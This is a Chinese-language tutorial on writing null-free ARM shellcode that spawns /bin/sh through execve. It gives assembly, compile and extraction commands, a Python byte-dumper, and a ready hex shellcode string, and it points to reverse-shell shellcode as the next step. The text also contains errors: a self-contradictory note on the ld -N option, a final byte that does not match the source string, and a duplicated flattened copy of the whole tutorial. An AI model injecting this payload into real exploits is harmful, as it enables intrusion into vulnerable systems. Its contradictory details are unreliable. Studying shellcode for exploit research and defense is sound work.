用ARM编写shellcode
字数 1395 2025-08-06 08:35:35

ARM架构Shellcode编写教程

1. 简介

本教程将详细介绍如何在ARM架构下编写shellcode。学习本教程前,需要对ARM汇编有基本了解。教程基于ARMv6 32位处理器环境,但原理适用于大多数ARM架构。

1.1 准备工作

所需工具:

  • GDB - 调试器
  • GEF - GDB增强功能
  • GCC - GNU编译器集合
  • as - 汇编程序
  • ld - 链接器
  • strace - 系统调用跟踪工具
  • objdump - 反汇编工具
  • objcopy - 二进制提取工具

2. Shellcode编写原则

编写有效的shellcode需要遵循以下基本原则:

  1. 紧凑性:避免空字节(\x00)

    • 原因:许多内存破坏漏洞(如strcpy缓冲区溢出)会在遇到空字节时停止复制
  2. 独立性

    • 避免使用库函数调用
    • 避免使用绝对内存地址
    • 确保shellcode能在不同环境下工作

3. Shellcode编写流程

编写shellcode的标准流程:

  1. 确定要使用的系统调用
  2. 查找系统调用号和参数
  3. 优化shellcode(消除空字节)
  4. 转换为十六进制字符串

4. 系统调用基础

4.1 ARM系统调用机制

在ARM架构中,系统调用的工作方式:

  1. 将参数移动到寄存器R0-R2
  2. 将系统调用号移动到R7
  3. 使用SVC #0SVC #1触发系统调用
  4. 返回值存储在R0中

与x86的区别:

  • x86:参数入栈,系统调用号存入EAX,使用INT 80/SYSENTER
  • ARM:参数直接存入寄存器,使用SVC指令

4.2 示例:write系统调用

.data
string: .asciz "Azeria Labs\n"  @ 自动添加空字节
after_string:
.set size_of_string, after_string - string

.text
.global _start
_start:
    mov r0, #1        @ STDOUT的文件描述符
    ldr r1, addr_of_string  @ 字符串地址
    mov r2, #size_of_string @ 字符串长度
    mov r7, #4        @ write系统调用号
    svc #0            @ 触发系统调用

_exit:
    mov r7, #1        @ exit系统调用号
    svc 0             @ 触发系统调用

addr_of_string: .word string

5. 编写execve shellcode

5.1 目标

编写执行/bin/sh的shellcode,相当于C代码:

#include <stdio.h>
void main(void) {
    system("/bin/sh");
}

5.2 系统调用分析

使用strace分析:

strace -f -v system

结果显示实际调用的是execve("/bin/sh", ["/bin/sh"], [/*环境变量*/])

5.3 execve系统调用参数

int execve(const char *filename, char *const argv[], char *const envp[]);

ARM实现:

  • R0: 指向二进制路径字符串的指针
  • R1: 命令行变量数组
  • R2: 环境变量数组
  • R7: 系统调用号(11)

5.4 初始实现

.text
.global _start
_start:
    add r0, pc, #12    @ 使用PC相对寻址获取字符串地址
    mov r1, #0         @ argv = 0
    mov r2, #0         @ envp = 0
    mov r7, #11        @ execve系统调用号
    svc #0             @ 触发系统调用

.ascii "/bin/sh\0"     @ 字符串

问题:包含多个空字节(mov指令和字符串结尾)

5.5 优化技术

  1. 使用Thumb模式

    • 指令长度2字节而非4字节
    • 减少空字节出现概率
  2. 替代零值操作

    • 使用sub r1, r1, r1代替mov r1, #0
    • 使用eor r1, r1, r1代替mov r1, #0
  3. 处理字符串空字节

    • 使用/bin/shX替代/bin/sh\0
    • 用strb指令将X替换为空字节

5.6 优化后的实现

.text
.global _start
_start:
    .code 32           @ ARM模式
    add r3, pc, #1     @ PC+1到R3
    bx r3              @ 切换到Thumb模式

    .code 16           @ Thumb模式
    mov r0, pc         @ PC指向下一条指令+4
    add r0, #8         @ 调整到字符串地址
    eor r1, r1, r1     @ R1 = 0
    eor r2, r2, r2     @ R2 = 0
    strb r2, [r0, #7]  @ 将字符串末尾的X替换为0
    mov r7, #11        @ execve系统调用号
    svc #1             @ 触发系统调用

.ascii "/bin/shX"      @ 8字节字符串

5.7 编译注意事项

由于代码段被修改(strb指令),需要使.text段可写:

as execve.s -o execve.o && ld -N execve.o -o execve

-N选项使数据不按页对齐,文本段不可写

6. Shellcode提取

6.1 使用objcopy和hexdump

objcopy -O binary execve execve.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve.bin

6.2 使用Python脚本

#!/usr/bin/env python
import sys
binary = open(sys.argv[1],'rb')
for byte in binary.read():
    sys.stdout.write("\\x"+byte.encode("hex"))
print ""

7. 完整示例

最终无空字节的shellcode:

.section .text
.global _start
_start:
    .code 32
    add r3, pc, #1
    bx r3
    
    .code 16
    mov r0, pc
    add r0, #8
    eor r1, r1, r1
    eor r2, r2, r2
    strb r2, [r0, #7]
    mov r7, #11
    svc #1
    
.ascii "/bin/shX"

提取的十六进制shellcode:

\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78

8. 总结

本教程详细介绍了:

  1. ARM架构下系统调用的工作机制
  2. Shellcode编写的基本原则
  3. 消除空字节的优化技术
  4. 从汇编代码到十六进制shellcode的完整流程

后续可以在此基础上开发更复杂的shellcode,如反弹shell等。理解这些基础知识对于二进制漏洞利用和防御都至关重要。

ARM架构Shellcode编写教程 1. 简介 本教程将详细介绍如何在ARM架构下编写shellcode。学习本教程前,需要对ARM汇编有基本了解。教程基于ARMv6 32位处理器环境,但原理适用于大多数ARM架构。 1.1 准备工作 所需工具: GDB - 调试器 GEF - GDB增强功能 GCC - GNU编译器集合 as - 汇编程序 ld - 链接器 strace - 系统调用跟踪工具 objdump - 反汇编工具 objcopy - 二进制提取工具 2. Shellcode编写原则 编写有效的shellcode需要遵循以下基本原则: 紧凑性 :避免空字节(\x00) 原因:许多内存破坏漏洞(如strcpy缓冲区溢出)会在遇到空字节时停止复制 独立性 : 避免使用库函数调用 避免使用绝对内存地址 确保shellcode能在不同环境下工作 3. Shellcode编写流程 编写shellcode的标准流程: 确定要使用的系统调用 查找系统调用号和参数 优化shellcode(消除空字节) 转换为十六进制字符串 4. 系统调用基础 4.1 ARM系统调用机制 在ARM架构中,系统调用的工作方式: 将参数移动到寄存器R0-R2 将系统调用号移动到R7 使用 SVC #0 或 SVC #1 触发系统调用 返回值存储在R0中 与x86的区别: x86:参数入栈,系统调用号存入EAX,使用INT 80/SYSENTER ARM:参数直接存入寄存器,使用SVC指令 4.2 示例:write系统调用 5. 编写execve shellcode 5.1 目标 编写执行 /bin/sh 的shellcode,相当于C代码: 5.2 系统调用分析 使用strace分析: 结果显示实际调用的是 execve("/bin/sh", ["/bin/sh"], [/*环境变量*/]) 5.3 execve系统调用参数 ARM实现: R0: 指向二进制路径字符串的指针 R1: 命令行变量数组 R2: 环境变量数组 R7: 系统调用号(11) 5.4 初始实现 问题:包含多个空字节(mov指令和字符串结尾) 5.5 优化技术 使用Thumb模式 : 指令长度2字节而非4字节 减少空字节出现概率 替代零值操作 : 使用 sub r1, r1, r1 代替 mov r1, #0 使用 eor r1, r1, r1 代替 mov r1, #0 处理字符串空字节 : 使用 /bin/shX 替代 /bin/sh\0 用strb指令将X替换为空字节 5.6 优化后的实现 5.7 编译注意事项 由于代码段被修改(strb指令),需要使.text段可写: -N 选项使数据不按页对齐,文本段不可写 6. Shellcode提取 6.1 使用objcopy和hexdump 6.2 使用Python脚本 7. 完整示例 最终无空字节的shellcode: 提取的十六进制shellcode: 8. 总结 本教程详细介绍了: ARM架构下系统调用的工作机制 Shellcode编写的基本原则 消除空字节的优化技术 从汇编代码到十六进制shellcode的完整流程 后续可以在此基础上开发更复杂的shellcode,如反弹shell等。理解这些基础知识对于二进制漏洞利用和防御都至关重要。